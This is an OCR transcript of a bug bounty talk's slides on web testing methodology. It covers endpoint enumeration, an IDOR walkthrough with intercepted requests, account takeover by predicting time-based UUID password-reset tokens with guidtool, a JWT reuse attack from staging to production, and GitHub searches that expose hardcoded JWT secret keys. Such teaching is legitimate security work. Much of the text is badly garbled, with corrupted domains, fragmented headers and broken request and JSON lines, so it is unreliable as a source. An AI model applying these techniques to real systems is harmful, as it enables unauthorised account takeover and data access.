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Disclaimers

 Please don’t break the law
* Play Nice, Be Ethical

* My opinions are my own



Why this Talk?

e Sharing my methodology by showcasing some findings
* Exploring some uncommon and undocumented techniques
* Encouraging you to push your boundaries

* Inspiring you to think Outside the Box
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Enumeration: Common Sources/Tools

ftransfer_eligible_programs

url: “freports/" + t + "/transfer_eligible_programs",

/notifications
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* Bruteforce: ffuf, dirbuster N A AN

S5 github-endpoints -d 1B@degres.net -raw
://10degres.net/aws-takeover-ssrf-javascript/
://18degres.net/5-things-to-do-before-running-your-first-bug-bounty-program/
://1@degres.net/smb-null-session/
://10degres.net/the-bugbounty-program-that-changed-my-life/
://18degres.net/subdomain-enumeration/
://10degres.net/cve-2016-11018-image-gallery-sql-injection/
://18degres.net/why-bugbounty/

http://18degres.net/
http://1edegres.net/github-tools-collection/
http://18degres.net/bug-bounty-management-a-bad-example/
http://1l8degres.net/swag-store/

http://1l@degres.net/tags/
http://18degres.net/aws-takeover-through-ssrf-in-javascript/
http://10@degres.net/bug-bounty-management-a-great-example-zomato/
http://18degres.net/the-bug-bounty-program-that-changed-my-life/
http://l@degres.net/platform-tournament/
http://18degres.net/posts/index.xml
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http://18degres.net/bugbounty-howto-write-report/
http://l@degres.net/interview-bugbounty-program/
http://1@degres.net/subdomain-takeover-dns-expiration/
http://18degres.net/5-things-to-avoid-in-bug-bounty/

 Web Archive: getallurls (gau)
* GitHub: github-endpoints

ReferenceS' http://18degres.net/how-to-keep-hackers-motivated-in-bug-bounty/
’ http://18degres.net
o i i i http://ledegres.net/feed.xml
https.//glthub.com/GerbenJavado/LlnkFlnder http://1ledegres.net/assets/img/header-background. jpg
httpS//glthUbCO m/lC/gaU http://18degres.net/introduction-to-pentesting/

http://1l@degres.net/dvwa-file-upload/

https://github.com/gwen001/github-endpoints http://16degres.net/assets/css/main. css
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Web App Authentication request:

Target: https:

d
redentials: true
- Firefo
Content-Length
Referer: https:
ec-Fe
Sec-Fetch-Mode:
-Fetch-Site:
ilers

cenc-Type: appl
0l Jul ZOZ

-—age=3153 00 ; includeSubDomains
-Request-Method, A ss—Control-Request-Headers

{"memberlName": "c..-‘n-:l-“ . "password" _ Y, "rememberMember": false}

path=/;
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ile App Authentication Request:

86_arm;

Raw Hex

HTTP/2Z 200 OK

no-store
Content-Type: appli
Date: Tue 9 Apr 20
Pragma
Strict-

Imperva
10-15969077-159

Target: https:

; includesubDomains
Control-
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Boolean SQL Injection

Target: https:ﬁ_.com f@

Response

Asset: Dom... | IEGE:- o

Weakness SQL Injection

Seuerit}r ) Critical (9.1) o

65, "partname": "AutoZone",

Target: https:ﬂ_.com / @

Bounty $7,500

it 06 GMT

Time spent None
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Insecure Direct Object Reference (IDOR)

* Insecure Direct Object References (IDOR) occur when an application provides direct
access to objects based on user-supplied input. As a result of this vulnerability
attackers can bypass authorization and access resources in the system directly, for
example database records or files. Insecure Direct Object References allow attackers
to bypass authorization and access resources directly by modifying the value of a
parameter used to directly point to an object. Such resources can be database
entries belonging to other users, files in the system, and more. This is caused by the
fact that the application takes user supplied input and uses it to retrieve an object
without performing sufficient authorization checks.

https://target.com/api/invoice?id=1000

A,

2=
HTTP/1.1 200 OK =]

Attacker Victim
Invoice id=1000

Reference: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References



Indirect IDOR

 Requires a condition

GET /api/invoice?id=1000 HTTP/1.1

—

POST /api/invoice/action?id=1000 HTTP/1.1
Host: target.com

(=0 —
Content-Type: application/json
{“invoice”:™“1000"”, “user” :“1337"} . @E

HTTP/1.1 200 OK

GET /api/invoice?id=1000 HTTP/1.1 Victim

Attacker — Invoice id=1000

HTTP/1.1 200 OK



Request

Raw

Response

ttps://www.redacted.com L;?

HTTP/

Pretty
GET /api/vl/Utilities/§57£75cE-b5§37-4b32-0be5-eB8507fead95 HITP/ HITP/Z
Host: www. reda m he-
Accept: appl /ison,

Authorization: Bearer [Vietim JWT)

5 ws NT 10.0; Win&4; x64) AppleWebKit/537.3& (KHTML, like
Accept-Encoding:
a [a. .
-

afari/537.36

Frame-Options

ntent-Securit default-src * 'self' data: dire 'unsafe-inline'

Date: Tue, 10 Jan 2023 19:34
Content-Length: 2052

Victim
Utilities UUID = 557f75c6-b537-4b32-9be5-e88507fead95 e

Request

Raw e
ET /api/vl/Utilicies/Eecf0178-ada5-4263-bf0e-15£85555d0a4 HTTP/Z
Z Host: www.redacted
ept: appl.

ate, immutable
applicat charse
ws NT 10.0; Win€4; x64) AppleWebKit/$37
afari/537.36

(KHTHL, like

Referer: https:/

Accept-Encoding
Accept-Language:

Attacker
Utilities UUID = 6ecf0178-a4a5-4263-bf0e-f9f85959d0a4 I

Content-Length: 2




Ao,

-

Attacker
Utilities UUID = 6ecf0178-a4a5-4263-bf0e-f9f85959d0a4

Request

Raw Hex

L GET /api/vl/Utilities/557£75cE-h537-4b32-5be5-eB88507£fea455 HTTP/Z

text/plain, */*
[Attacke r_JU'T 1

s NT 10.0; WinE4; x€4) AppleWebKit/537.

fari/537.36

Accept-Encoding: gzip,
° Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

Raw Hex

L HTTP/Z 403 Forbidden
immutable
t=-I1I5/10.0

(EHTML, like

default-src * 'self' data:

L0 Date: Tue, 10 Jan Z0I3 18:51:51 GMT
11 Content-Length: 0

Target: hitps://www.redacted.com

directive:

GET /api/v1/Utilities/557£75c6-b537-4b32-9be5-e88507fead495 HTTP/2

blob:

A

[ 2

'unsafe-inline’




S, POST /api/invoice/action?id=1000 HTTP/1.1

' {“utilitieId”:"557£75c6-b537-4b32-9be5-e88507£fead95"”}
. v

Attacker
Utilities UUID = 6ecf0178-a4a5-4263-bf0e-f9f85959d0a4

Target: https://www.redacted.com If’ HTTR/2

Hex Render

1opadsuj

: immutable
3 Authorizatio application/json; charset=utf-8
4 User-Agent
Chrome/108.0
S Referer: htt /
= Accept-Encoding:
7 Accept-Language:
ntent-Length:
ontent-Type: applicati
5 Date: Wed, 11 Jan Z
Content-Length: 1l&

"utilicieId" S 37-4h32 5 L . 11
"moveDate": 12 "Update 5




GET /api/v1/Utilities/557£75c6-b537-4b32-9be5-e88507fead495 HTTP/2

Attacker
Utilities UUID = 6ecf0178-a4a5-4263-bf0e-f9f85959d0a4

ﬂn > Target: https://www.redacted.com

Request

Raw Hex

GET /api/vl/Utilities/557£75cE-b537-4b32-5be5-eB88507£fead495 HITP/Z
e
P applicati i 3 a 3 /ison; charse
Authorization: Bea [Attacker JWT]
User-Agent: M 1la/5.0 (Windows NT 10.0; Wing&d; 4) AppleWebKit /537 : like 5
Chrome/108.0.53559.125 Safari/537.36 ¢ Api-Supported-Versi
Referer: https://www.r ed -Aspnet-Vers
Accept-Encoding: p, deflate —~Powered-By
Accept-Language - B,en-US;q=0.9,en;q=0.8 E

Date: Tue, 10 Jan 2023
tent-Length: 2027

eTaskUcilityId":
"utilityCompanyId
“name*: * I ,
"streetiddress” [N
!

"eity
pCode

"website"

"utcilityCompanyLinedfBusinessId": 20256,
"utilityTypeld":5,




UUID / GUID



Did you know that there are different types of UUIDs?

Nil UUID - Version 0 DCE Security UUID — Version 2

00000000-0000-0000-0000-000000000000 b165e8c6-5e9a-21ea-9e00-0242ac130003

Time-based UUID — Version 1 Name-based UUID - Version 3 and 5

18f99f82-61f7-3530-8d8a-8fdf2cd0cae0
b21b95a4-56¢3-51de-8828-1bb7bd249fd2

e6e3422c-c82d-11ed-8761-3ff799965458

Randomly Generated GUID - Version 4

0d706e07-75b5-4553-8abd-6c3d52fdbf70



UUID / GUID

Did you know that there are different types of GUIDs?

Nil UUID - Version O DCE Security UUID - Version 2

00000000-0000-0000-0000-000000000000 b165e8c6-5e9a-21ea-9e00-0242ac130003

Time-based UUID — Version 1 Name-based UUID - Version 3 and 5

18f99f82-61f7-3530-8d8a-8fdf2cd0cae0
b21b95a4-56¢3-51de-8828-1bb7bd249fd2

e6e3422c-c82d-11ed-8761-3ff799965458

Randomly Generated UUID - Version 4

0d706e07-75b5-4553-8abd-6c3d52fdbf70



UUID / GUID Version 1

Time-based UUID — Version

- - -8761-31f799965458

TR

Timestamp:

MAC Address: 31:17:99:96:54:58



UUID Decoder | UUIDTools.com X +

& C' @ uuidtools.com

f* UUIDTools.com UUID Bulk Generator Decode UUIDs APIDocs What'sa UUID? Versions Explained

i UUID Decoder

Enter UUID to Decode:

e6e3422c-c82d-11ed-8761-3ff799965458

Decode UUID

th random UUID 34

Results:

Standard String Format e6e3422c-c82d-11ed-8761-3fF799965458

Single Integer Value 306902432604442536565446256077208704088
Version

Variant DCE 1.1, ISQ/IEC 11578:1996

Contents - Time 2023-03-21 21:18:19.109022.0 UTC

Contents - Clock 1889 |

Contents - Node 3Ff7:99:96:54:58 (




Account Takeover



UUID / GUID: Account takeover through password reset

https://target.com/password/reset?token=3fcf5140-47ca-11ec-9755-c75cdea7alc?




UUID / GUID: Account takeover through password reset

wman@ESKTOP-6TQ5L4U: ~% guidtﬂﬂl -1 ebe3422c-c82d-11ed-8761-3f1799965458
UUID version: 1

UUID time: 2023-03-21 21:18:19.109022
UUID timestamp: 138987262091090220
UUID node: 70332666238040

UUID MAC address: 3f:f7:99:96:54:58
UUID clock sequence: 1889
wman@ESKTOP-6TQ5L4U: ~% guidtﬂﬂl -t '2023-03-22 01:30:00' -r 3 ebe3422c-cB82d-11ed-8761-3Tf799965458
0dee9880-c851-11ed-8761-3ff799965458
Odeebf90-c851-11ed-8761-3ff799965458
Odeeebad-cB851-11ed-8761-311799965458
0def0dbO-c851-11ed-8761-3ff799965458
Odef34cO-cB851-11ed-8761-3Fff799965458
Odef5bd0-c851-11ed-8761-3F 1799965458
0def82e0-c851-11ed-8761-3ff799965458
Odefa9f0-cB851-11ed-8761-3Ff1799965458
Odefd100-cB851-11ed-8761-3Fff799965458
0deff810-c851-11ed-8761-3ff799965458
0dfe1f20-cB851-11ed-8761-3Ff1799965458
0df04630-cB851-11ed-8761-3F1799965458
0df06d40-c851-11ed-8761-3f1799965458
0dfe9450-c851-11ed-8761-3Fff799965458
0dfobb60-c851-11ed-8761-3Fff799965458
0dfee270-c851-11ed-8761-3ff799965458
0df10980-cB851-11ed-8761-3Fff799965458
0df13090-cB851-11ed-8761-3Ff1799965458
0df157a0-c851-11ed-8761-3ff799965458
0df17eb0-c851-11ed-8761-3ff799965458
0dfl1labcO-cB851-11ed-8761-3F1799965458

Reference: https://github.com/intruder-io/guidtool



JWT



JWT (JSON Web Tokens)

&« > C @& juice-shop.herokuapp.com/profile a e Guest
i [0 Elements Console Sources Network Performance Memory Application Security Lighthouse 3> 02 A1 533 : x
Back —
6 Application C | Fitter =% X [ Only show cookies with an issue
D Manifest Name Value Do... Path E.. Size Hit.. Sec.. Sa.. Par. P..
°‘° Service Workers continueCode  wXuKhrtJInsNUZHmhBtPckCZi157U... | juic... / 2. 112 Me...
E Storage token eyJ0eXAIOUKV1QILCIhbGCiOiSUzl...  juic... / 2 746 Me...
welcomebann...  dismiss juic... /[ 2. 27 Me...
User PrOﬁIe Storage language en juic... / 2. 10 Me...
» B5 Local Storage
» E5 Session Storage
& IndexedDB
E web saL
v () Coakies

@ https://juice-shop.herokuapp.com
& Private State Tokens
& Interest Groups
» & Shared Storage

B Cache Storage jWT

Background Services
@ Back/forward cache
11. Background Fetch
\ () Background Sync
Q Notifications
File Upload: = Payrmernt Handler
® Periodic Background Sync

VDT EEEED & Push Messaging

Upload Picture () Reporting API
Frames
or T
Image URL:

Cookie Value [ Show URL-decoded
eyJ0eXAIOIKV1QiLCIhbGCOISUzI1NiJ9.ey)zd GFOAXMiOizdWN)ZXNzliwiZ GFOYSIGey) pZ CIENZEsInVzZXJuYW 1 lljoiliwiZ
. W1haWwiOil1c2VyMUB5b3BtYWIsLmNvbSIsinBhc3N3b3kljoiMWVIMWIhZTBKM2YSMzFKY2lyYjESMDY30GU3MTdhMijk
Link Image iLClyb2xlljoiY3Vzd GIZXIILCIKZWx1eGYUb2tbil6lilsimxhc3RMb2d pbkiwljoiMC4wLiAUMCIsinByb2ZpbGVIbWFNZSI6lighe
3NIdHMvcHVIbGIIL21tYWdlcyd1cGxvYWRzL2RIZmF 1bHQuc3 Znliwid G90cFNIY2IdCI6lilsimizZQWNOaXZIlipOenVILC JicmVh
dGVKQXQIOilyMDIzLTA2LTIwIDE3OJESOIE1LiAWOCArMDAGMDAILC) 1cGRhdGVKQXQiOilyMDIZLTA2LTIwIDE3QJESOJE 1 LA
) WOCArMDAGMDAILCIKZWxIdGYkQXQiOmS51bGxLCIpYXQIOJE20DeyODE1NTh9.ShUofA6rgL OvMOulle3JmQmaDIVsQlu
[Er=e LirCqlgHN_9JgBJmyVApzgHKsmdrfx_mGe13LsXfdZzm_d¥SDIh1YPTUtqywE2ikeZ1FpboTCANupnSMi2sPwctig31UzN_UC
user@gmail.com wyTixqAQOKsi7oks7)IT81e9DaRzU3yWD5sXIMmOfSo

Username:



{

}

Structure of a JSON Web Token (JWT)

e
/

"alg”: "HS256"
"typ":"IWT"

PAYLOAD SIGNATURE

L\

Baseb64URLSafe(
HMACSHA256( <header>.

”Sub":
||name||:
"admin": , <payload>, <secret key>
"{at": 1516239022 ))



Structure of a JSON Web Token (JWT)

Algorithm

which doesn’t '
require Signature m PAYLOAD SIGNATURE

L\

{ “syub": Base64URLSafe(

"alg": "HS256" “name": HMACSHA256 ( <header>.

"typ" " IWT" “admin®: ) <payload>, <secret key>
yP "iat": 1516239022 )? Y y

}

Potential Confidential Data

Weak JWT key
No Signature
Check



Request

i-r-‘MHex s T

1 GET /users/details HTTP/Z

2 Host: api.

3 Cookie: _gcl au=1.1.1856608971.1631473630;
fb.1.1631473630665.984309487

_gid=GA
_gat_UA-80231189-8=1;

_vca_current=
eyThbGciOiJIUzZIINiISInRScCIETIk

Sec-Ch-Ua:
Sec-Ch-Ua-Mobile: 20

5 User-Agent: Mozilla/5.0 (Windows NT 10.0;
Gecko) Chrome/92.0.4515.131 safari/537.36

7 Content-Type: application/json

8 Accept: */*

Win64; x64)

Sec-Fetch-Site: same-site
Sec-Fetch-Mode:

Sec-Fetch-Dest:

cors
empt

4 Accept-Encoding: gzip, deflate
S Accept-Language: en-US,en;q=0.9

.2.2095338827.163147363
_gat_gtag_ UA_ 80231189 _

_ga_ HNSXDBWGK7=GS1.1l.1631473629.1.1.1631474569.0; _ga=GAl.1.915960157.1631

The JWT from The Main Web Application

0
8
4

XVCJIY9. eyIJpZCIEMTMzODQSImNY ZWF 0 ZWRPLiTIETI JIWMJELtMDktMTIgMTY 6M

"Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"

AppleWebKit/537.36 (KHTML, like

Target: httpsy//api N

Response

Raw Hex Render \n =

Pretty

Surrogate-Control: no-store
Cache-Control: no-store,
Pragma: no-cache
Expires: 0

5 Content-Security-Policy: default-src 'self'; style-src 'self'
Access-Control-Allow-Origin: https://www. ||| NN
Vary: Origin
Access-Control-Allow-Credentials: true
Set-Cookie: _vca_current=eyJhbGciOiJIUzI1INiISINR5cCIEIkpXVCIY.
Domain=. Path=/; Expires=Mon, 13 Sep 2021 19:
Etag: W/"lcd-7/97BjkQ/1lkGNrCDKheO9aHEMsU"

no-cache, must-revalidate,

"status":201
"message": "User Data”,
"data": {
"id":13384,
"email": "sand N Ggnail. con”,
"mobile": "undefined",
"firstName": "Bya”,
"lastName":
"createdOn": 33z 01li6la”;
"lastUpdated": "2021-09-12T16:33:0Z.000z2",
"active": {
"type": "Buffer”,
radata™if
it
]
be
" I
"productType":""
"issuerBid":"",

proxy-revalidate

eyJpZCIEMTMzODQsImNy ZWFDZWR
23:16 GMT; HttpOnly; Secure

HTTP/2 @

40.1D3dSNI




JWT Uncommon Misconfiguration

The JWT from The Main Web Application

eyJhbGciOiJIUzI1NilsInR5cCI6lkpXVCI9.eylpZCI6MTAzMDcsImlhdCI6MTYONjIxOTUONiwiZXhwljoxNjgwND
MzOTQ2fQ C6g3y48Q8ZFvEIOtTwWZ5NckObGXY5aX-Xn-7w-G3




The JWT from The Staging Web Application

Target: https://api-staging._ / HTTP/2

Request Response

Raw Hex \n = HEwll Raw Hex Render \n =

POST /users/register HTTP/Z2 HTTP/2Z 200 OK
Host: a]tri—s‘taging._ 2 Date: Sun, 12 Sep 2021 19:10:02 GMT
Cookie: gcl au=1,1.18 897 lé:ll"‘é:J _gid .2.2095338827. 473630; _ga HNSXD8WGK™ 3 Content-Type: application/json; charset=utf-8
vZGUioiTiLCI1c2Vy nRyeSISLiIsImNvdWS0cnlIbmZvIjoiliwiaWFOI joxN] dDczNj 0LCILleHAIL JEZM: 4 Content-Length: 50
Content-Length: 72§ server: nginx
Sec-Ch-Ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92 @ Dns-Prefetch-Control: off
Sec-Ch-Ua-Mobile: 20 X-Frame-Options: SAMEORIGIN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64: x64) AppleWebKit/537.36 (KHTML, like Geckc 8 Strict-Transport-Security: max-age=15552000; includeSubDomains
S Content-Type: application/json 9 X-Download-Options: noopen
9 Accept: */* 0 Content-Type-Options: nosniff
Origin: https:.",a";rm,:._ 11 X-Xss~-Protection: 1; mode=block
Sec-Fetch-Site: same-site 2 surrogate-Control: no-store
Sec-Fetch-Mode: cors 3 Cache-Control: no-store, no-cache, must-revalidate, proxy-revalidate
Sec~Fetch-Dest: empty 14 Pragma: no-cache
Referer: https:/ /o . Expires: 0
S Accept-Encoding: ip, deflate ¢ Content-Security-Policy: default-src 'self'; style-src 'self’
Accept-Language: en-US,en;q=0.9 17 Access-Control-Allow-Origin: https://www. 1IIINIIGINGEE
3 Vary: Origin
9 Access-Control-Allow-Credentials: true
"email”: "sand. INNEGNGNGNgGmail. con”, 20 X-Ratelimit-Limit: 20
"firstName": ": 21 X-Ratelimit-Remaining: 17
"lastName": 22 X-Ratelimit-Reset: 1831474711
— Set-Cookie: _vca current=eyJhbGciOiJIUzIINiIsInRScCIE . ey JPZCIENTM4LCT)
e N 3! 53 -3 1 T 0] PRI AP 1Y

"recaptcha": "0 . dygsBIEmEnee Swd4K1vWALSJOEEPC _MD EjkZaHEwpiYUw

istration successful”,




JWT Uncommon Misconfiguration

The JWT from The Staging Web Application

eyJhbGciOiJIUzI1NilsInR5cCI6IkpXVCI9. ey)pZCIGNTEYLCIpYXQiOjE2NDYyMTk1NDYsImV4cCI6M
TYAMESE.Zsd2ny48Q8ZFvEIOtTwZ5NckObGXY5aCSy-Br-h7

Hmm, This look Interesting



GET /users/details HTTPE/Z

Host: api.

3 Cookie: _gecl_au=1.1.59684406.1631463550; _gid=GAl.Z.82712260.1631463551; _fbp=
fb.1.1631463550774.1281527186; _ cfruid=
5cf803d50984ba79652305bc9e90a4dc33694cd2-1631463592; _vca current=
eyThbhGciOiJIUZIINIiISINRScCIEIkpXVCIY. eyIJpZCIENTM 4

_gat_gtag_UA_80231189_8=1

Sec—-Ch-Ua: "Chromium";v="92", " Not A;Brand";v="899", "Google Chrome";v="92"
Sec-Ch-Ua-Mobile: 20

5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x64) AppleWebKit/537.36 (KHTML,
Gecko) Chrome/92.0.4515.131 safari/537.36

Content-Type: application/json

5 Accept: */*

o origin: [

Sec-Fetch-Site: same-site

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: emptf

Referer:

i Accept-Encoding: gzip, deflate

5 Accept-Language: en-US,en;q=0.9

like

Target: https://api_ / HTTP/2 @

Response

Raw Hex Render \n =

| X-Xss-Protection: 1; mode=block
Surrogate-Control: no-store

3 Cache-Control: no-store, no-cache, must-revalidate, proxy-revalidate

Pragma: no-cache
> Expires: O
5 Content-Security-Policy: default-src 'self'; style-src 'self'
7 Access-Control-Allow-Origin: https://www.
Vary: Origin
Access-Control-Allow-Credentials: true
Set-Cookie: _vca_current=eyJhbGciOiJIUzI1INiISInRS5cCIEIkpXVCT
Etag: W/ "220-6eBGEfsKCCX4sWZKOZimJIyxdOHEBg"

"status":201
"message": "User Data",
"data": {
d e o IR,
"email": "]
"mobile":
"firstName": "Jenny",
"lastName": """,
"createdon":"2018-11-08 10:01:10.172",
"lastUpdated": "2018-11-08T10:01:10.0002",
"active":{
"type": "Buffer"”,
"data™: [

9.eyIpZCIENTM4LCIPYXQi0JEZMZE

d01D3dSNI




JWT Reuse Attack

Step #2: Create a new account in Staging Environment
This Account ID = 538 and Retrieve it’s JWT

Staging Environment

PN
¥, 13387 —-538 = 12849 Accounts got hacked
| © |

Attacker

Step #1: Create a new account in production Environment
This Account ID = 13384

Step #3: Use the JWT of the Account ID = 538 from the Stag Env
—-> Account Takeover of Account ID = 538 in the Prod Env

Step #4: Keep Repeating Step #2 to retrieve other Account’s JWT (538+)
-> Account Takeover of Account ID = 538+

ﬁ



JWT Reuse Attac

& > C & github.com/search?’q=app.config%5B%27JWT _SECRET KFY%27%5D&type=code e »r % 43
Filter by 19  jwt = JWTManager(app)
| © code 12

] Repositories 2 ~ £} iilunin/crypto-bot - API/APIServer.py

e Staging Environments © toses 2

17 Pull requests 3 32 self.app - app

o Si m i I a r We b A p p I icat i o n L) Discussions 0 — self_app.config[®JWI_SECRET_KEY'] = *mHZ!29@DzdLrn@H!gy2FD46W--M*Fap!® # TODO: Change :hiS:

U 0 self_app.config[ "'SECRET_KEY'] = 'VS2cWpbD*CGa-M@h6+@pVi#qCQRU3cddn” # TODO: Change this!
sers
self_app.config[*JWT_ACCESS_TOKEN_EXPIRES'] = timedelta(weeks=48)
~  More

e GitHub is your friend !!!

Languages

v I£ Baiyuetribe/kamiFaka - service/api/db.py
® Python
51  app.config[ ' SQLALCHEMY_TRACK_MODIFICATIONS'] = False
Markdown . S : e ) i i
62 # Setup the Flask-JWT-Extended extension. Read more: https://flask-jwt-extended.readthedocs.io/en/stable/options/
reStructuredText 63 # app-config]®IWI_SECRET_KEY'] - "' .join(random.sample(string.ascii_letters + string.digits, 46)) # Change this!

54 app.config[ ‘JWT_SECRET_KEY'] - 'EXZgC3BMhPxtudKq6W/mo9rATeyYGsOiQNF5SvUInSjRVeb® # Change this!

® Jupyter Notebook app. config[ " JWT_ACCESS_TOKEN_EXPIRES'] - datetime.timedelta(hours=1)

& More languages...
jwt = JWTManager(app)

Repositories

) AdaptiveScale/Ixdui v~ o jefflevesque/machine-learning - factory.py
= Baiyuetribe/kamiFaka 55 if args[ instance’] == ‘api':

56 = Flask
& TheMorpheusa07/Tutorials aep el )

5 app-secret_key = application[’security_key']

app-config[ " JWI_SECRET_KEY '] - application[ security key']

€ iilunin/crypto-bot
59 app-register blueprint(blueprint_api)

@ vim-awesome/vim-awesome JWTManager (app)

(® More repositories... oL



Thank you!

Questions?

Reach out on Twitter
Or
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